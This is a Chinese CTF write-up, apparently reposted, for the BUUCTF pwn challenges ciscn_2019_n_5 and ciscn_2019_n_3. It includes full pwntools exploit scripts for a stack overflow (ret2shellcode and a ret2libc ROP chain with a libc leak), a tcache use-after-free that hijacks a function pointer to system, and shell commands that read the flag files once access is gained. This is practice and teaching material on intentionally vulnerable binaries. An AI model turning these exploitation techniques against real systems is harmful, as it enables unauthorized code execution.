BUUCTF ciscn_2019_n_5

Posted Red-Leaves

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF ciscn_2019_n_5相关的知识,希望对你有一定的参考价值。

1.Checksec & IDA Pro

完全是裸的程序,基本上一点保护都没开。

 

 只有main函数

int __cdecl main(int argc, const char **argv, const char **envp)

  char text[30]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name"); // 输入一串字符串,长度为0x64,有上限,无法溢出
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets(text); // 栈溢出漏洞
  return 0;

也不存在现成的 system 与 /bin/sh 可供调用 

因此 ret2text 行不通。

找到了漏洞,本题就有两种解法了。

1. ret2shellcode

既然没开NX,那代表栈是可执行的,只需要构造shellcode即可直接获取shell

具体步骤:

name  中输入shellcode

text中溢出,返回地址填 name 的起始段

getshell

完整PoC如下:

from pwn import *
elf = ELF("/home/pwn/桌面/ciscn_2019_n_5")
p = process("/home/pwn/桌面/ciscn_2019_n_5")

context(arch='amd64', os='linux')
context.log_level = 'debug'

shellcode = asm(shellcraft.sh())

p.sendlineafter('tell me your name\\n', shellcode)

payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))
p.sendlineafter('What do you want to say to me?\\n', payload)

p.interactive()

十分简单。但是有个问题,如果本地打不进去可以尝试更换系统打,我的Kali打不进去换了个Ubuntu进去了。

2. ret2libc

思路如下:

通过 puts 函数泄露真实地址,通过LibcSearcher查询Libc中后3位相同的Libc,dump并计算出 system 、 /bin/sh 的偏移。然后调用即可。

Payload_Name --- 用来跳过第一步的输入 name

payload_pre = ( b'A' * 10 )
io.sendlineafter('tell me your name\\n', payload_pre)

Payload_Leak --- 用来进行溢出并获取地址

ret = 0x4004C9
rdi = 0x400713 

leak_plt = elf.plt['puts']
leak_got = elf.got['puts']
main_addr = elf.sym['main']

payload = ( b'A' * ( 0x20 + 0x08 ) + p64(rdi) + p64(leak_got) + p64(leak_plt) + p64(main_addr) )
io.sendlineafter('What do you want to say to me?\\n', payload)

Payload_Shell --- 用来获取shell

libc = LibcSearcher('puts',real_addr)
libbase = real_addr - libc.dump('puts')
system = libbase + libc.dump('system')
bin_sh = libbase + libc.dump('str_bin_sh')

payload_shell = ( b'A' * ( 32 + 0x08 ) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system)  )

完整PoC如下:

from pwn import * 
from LibcSearcher import LibcSearcher
 
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_n_5")
#libc = ELF("/root/Desktop/PwnSubjects/libc-2.23 (1).so") 
io = remote("node4.buuoj.cn",25887)
#io = process("/root/Desktop/PwnSubjects/ciscn_2019_n_5")
 
ret = 0x4004C9
rdi = 0x400713 

leak_plt = elf.plt['puts']
leak_got = elf.got['puts']
main_addr = elf.sym['main']

# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")

payload_pre = ( b'A' * 10 )
io.sendlineafter('tell me your name\\n', payload_pre)

payload = ( b'A' * ( 0x20 + 0x08 ) + p64(rdi) + p64(leak_got) + p64(leak_plt) + p64(main_addr) )
io.sendlineafter('What do you want to say to me?\\n', payload)
real_addr = u64(io.recv(6).ljust(8,b'\\x00'))
print("[+] Payload : \\n",(payload))
print("[+] Leacked.")
print(("[+] Real Address : "),hex(real_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
 
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
libc = LibcSearcher("puts",real_addr)
libcbase = real_addr - libc.dump('puts')
system = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
 
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(real_addr))
print("[+] Base Address: ",hex(real_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
 
# 阶段4 获取shell
io.sendline(payload_pre)
io.recvuntil('me?\\n')

payload_shell = ( b'A' * ( 32 + 0x08 ) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system)  )
io.sendline(payload_shell)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat  \\;")
print("The")
io.sendline(b"find '/flag' -exec cat  \\;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat  \\;")
print("Shell!")
io.interactive()

注意:如果靶机是 Ubuntu18,那需要注意栈平衡。这就是为什么shell之前需要调用一个ret

成功获取shell 

ciscn_2019_n_3 Writeup

前提

  • 本程序中的释放堆块后未对堆块指针置空,从而可能引发UAF。
  • 程序本身带有函数system(),可以直接使用system@plt的方式使用该函数。
  • 涉及堆块结构的代码如下下文所示,第一种块大小固定位0x10(0x11),有一种块大小可控,最大为0x400。
//当堆块结构是integer时
*(_DWORD *)v3 = rec_int_print;
*(_DWORD *)(v3 + 4) = rec_int_free;
*(_DWORD *)(v3 + 8) = ask("Value");

//当堆块结构是text时
*(_DWORD *)v3 = rec_int_print;
*(_DWORD *)(v3 + 4) = rec_int_free;
*(_DWORD *)(v3 + 8) = malloc(size);		//    *(_DWORD *)(v3 + 8) = malloc(size);

//text中的chunk相关
fgets(*(char **)(v3 + 8), size, stdin);

//其他函数
int __cdecl rec_int_print(int v3){
  return printf("Note(Type=Integer, Value=%d)\\n", *(_DWORD *)(v3 + 8));}

int __cdecl rec_int_free(void *ptr){
  free(ptr);
  return puts("Note freed!");}

思路

  • 申请三个类型为integer的块0、1、2。大小为固定的0x10。
  • 释放块0、1。
  • 重新申请一个类型为text的块,大小指定为0xc以下。按照tcache bin先进先出的结构,bin中的块1与0被依此分配,且可以对块1进行写操作,让指定位置的内容被覆盖为指定的内容。
    • 对块0的*(_DWORD *)v3区域覆盖数据为sh/0/0。这是因为长度不足以输入/bin/sh,且要考虑程序流程引发的\\a
    • 对块0的(_DWORD *)(v3 + 4)区域覆盖数据为system@plt
  • 释放块0即可获得shell。
    • 这是因为本程序的释放操作是使用指定块的(_DWORD *)(v3 + 4)区域内的自定函数完成的。该函数的结构如上文所示。

完整exp

from pwn import *

context.log_level = "debug"
io = remote("node3.buuoj.cn",27237)
elf = ELF("./n_3_ciscn_2019")

def _new(index,_type,_value,_lenth=0):
    io.sendlineafter("4. Purchase Pro Edition\\nCNote > ",'1')
    io.sendlineafter("Index > ",str(index))
    io.sendlineafter("Type > ",str(_type))
    if _type == 1:
        io.sendlineafter("Value > ",str(_value))
    else:
        io.sendlineafter("Length > ",str(_lenth))
        io.sendlineafter("Value > ",_value)

def _del(Index):
    io.sendlineafter("4. Purchase Pro Edition\\nCNote > ",'2')
    io.sendlineafter("Index > ",str(Index))

payload = b'sh\\0\\0' + p32(elf.symbols['system'])

_new(0,1,1)
_new(1,1,1)
_new(2,1,1)
_del(0)
_del(1)
_new(3,2,payload,0xc)
_del(0)

io.interactive()

以上是关于BUUCTF ciscn_2019_n_5的主要内容,如果未能解决你的问题,请参考以下文章

ciscn_2019_n_1

&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

ciscn_2019_ne_5

ciscn_2019_n_3 Writeup

[BUUOJ记录] [CISCN 2019 初赛]Love Math

ciscn_2019_es_4